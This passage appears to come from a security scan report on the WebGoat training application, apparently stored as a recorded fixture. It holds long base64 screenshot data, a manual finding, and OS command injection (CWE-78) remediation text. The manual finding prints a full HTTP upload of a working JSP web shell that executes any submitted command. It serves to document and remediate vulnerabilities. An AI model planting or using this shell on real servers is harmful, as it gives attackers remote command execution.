CAAAIIIIAAAghECRAQRDGRCAEEEEAAAQQQQACB5RQgIFjOfqVVCCCAAAIIIIAAAghECRAQRDGRCAEEEEAAAQQQQACB5RQgIFjOfqVVCCCAAAIIIIAAAghECRAQRDGRCAEEEEAAAQQQQACB5RQgIFjOfqVVCCCAAAIIIIAAAghECRAQRDGRCAEEEEAAAQQQQACB5RQgIFjOfqVVCCCAAAIIIIAAAghECRAQRDGRCAEEEEAAAQQQQACB5RQgIFjOfqVVCCCAAAIIIIAAAghECRAQRDGRCAEEEEAAAQQQQACB5RQgIFjOfqVVCCCAAAIIIIAAAghECRAQRDGRCAEEEEAAAQQQQACB5RQgIFjOfqVVCCCAAAIIIIAAAghECRAQRDGRCAEEEEAAAQQQQACB5RQgIFjOfqVVCCCAAAIIIIAAAghECfx/u75bR7BInL4AAAAASUVORK5CYII=</data>\n</screenshot>\n<screenshot
+        format=\"PNG\">\n<data>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N1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUERDSRVgVJUCAAAECcQEhHTdUgQABAgQIFBEQ0kVYFSVAgAABAnEBIR03VIEAAQIECBQRENJFWBUlQIAAAQJxASEdN1SBAAECBAgUEfj//wQf4ZlyI0cAAAAASUVORK5CYII=</data>\n</screenshot>\n<code>The
+        following POST request uploaded a jsp based shell that could later be accessed
+        at: http://targethost/WebGoat/uploads/cmd.jsp\nThe jsp extension has a handler
+        configured within the current web server, causing the jsp code to be interpreted
+        and executed.\n\nPOST /WebGoat/attack?Screen=1146227108&amp;menu=1600 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=1146227108&amp;menu=1600\nCookie:
+        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: multipart/form-data;
+        boundary=---------------------------41184676334\nContent-Length: 1160\n\n-----------------------------41184676334\nContent-Disposition:
+        form-data; name=\"myfile\"; filename=\"cmd.jsp\"\nContent-Type: application/octet-stream\n\n&lt;%@
+        page import=\"java.util.*,java.io.*\"%&gt;\n&lt;HTML&gt;&lt;BODY&gt;\n&lt;FORM
+        METHOD=\"GET\" NAME=\"myform\" ACTION=\"\"&gt;\n&lt;INPUT TYPE=\"text\" NAME=\"cmd\"&gt;\n&lt;INPUT
+        TYPE=\"submit\" VALUE=\"Send\"&gt;\n&lt;/FORM&gt;\n&lt;pre&gt;\n&lt;%\nif
+        (request.getParameter(\"cmd\") != null) {\n        out.println(\"Command:
+        \" + request.getParameter(\"cmd\") + \"&lt;BR&gt;\");\n        Process p =
+        Runtime.getRuntime().exec(request.getParameter(\"cmd\"));\n        OutputStream
+        os = p.getOutputStream();\n        InputStream in = p.getInputStream();\n
+        \       DataInputStream dis = new DataInputStream(in);\n        String disr
+        = dis.readLine();\n        while ( disr != null ) {\n                out.println(disr);
+        \n                disr = dis.readLine(); \n                }\n        }\n%&gt;\n&lt;/pre&gt;\n&lt;/BODY&gt;&lt;/HTML&gt;\n-----------------------------41184676334\nContent-Disposition:
+        form-data; name=\"SUBMIT\"\n\nStart Upload\n-----------------------------41184676334--\n</code></appendix></flaw></manualflaws></cwe></category><category
+        categoryid=\"18\" categoryname=\"OS Command Injection\" pcirelated=\"false\"><desc><para
+        text=\"OS command injection vulnerabilities occur when data enters an application
+        from an untrusted source and is used to dynamically construct and execute
+        a system command.  This allows an attacker to either alter the command executed
+        by the application or append additional commands.  The command is typically
+        executed with the privileges of the executing process and gives an attacker
+        a privilege or capability that he would not otherwise have.\"/></desc><recommendations><para
+        text=\"Careful handling of all untrusted data is critical in preventing OS
+        command injection attacks.   Using one or more of the following techniques
+        provides defense-in-depth and minimizes the likelihood of an vulnerability.\"><bulletitem
+        text=\"If possible, use library calls rather than external processes to recreate
+        the desired functionality.\"/><bulletitem text=\"Validate user-supplied input
+        using positive filters (white lists) to ensure that it conforms to the expected
+        format, using centralized data validation routines when possible. \"/><bulletitem
+        text=\"Select safe API routines.  Some APIs that execute system commands take
+        an array of strings as input rather than a single string, which protects against
+        some forms of command injection by ensuring that a user-supplied argument
+        cannot be interpreted as part of the command.\"/></para></recommendations><cwe
+        cweid=\"78\" cwename=\"Improper Neutralization of Special Elements used in
+        an OS Command ('OS Command Injection')\" pcirelated=\"false\" owasp=\"929\"
+        sans=\"864\" certc=\"741\" certcpp=\"875\" certjava=\"845\"><description><text
+        text=\"This call contains a command injection flaw.  The argument to the function
+        is constructed using user-supplied input.  If an attacker is allowed to specify
+        all or part of the command, it may be possible to execute commands on the
+        server with the privileges of the executing process.  The level of exposure
+        depends on the effectiveness of input validation routines, if any.\"/></description><staticflaws><flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"132\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Runtime.exec\" description=\"This
+        call to java.lang.Runtime.exec() contains a command injection flaw. The argument
+        to the function is constructed using user-supplied input. If an attacker is
+        allowed to specify all or part of the command, it may be possible to execute
+        commands on the server with the privileges of the executing process. The level
+        of exposure depends on the effectiveness of input validation routines, if
+        any. exec() was called on the getRuntime() object, which contains tainted
+        data. The tainted data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters. Most APIs that
+        execute system commands also have a &quot;safe&quot; version of the method
+        that takes an array of strings as input rather than a single string, which
+        protects against some forms of command injection.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/78.html) \r\nOWASP (http://www.owasp.org/index.php/Command_Injection)
+        \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\" note=\"\"
+        cweid=\"78\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"18\"
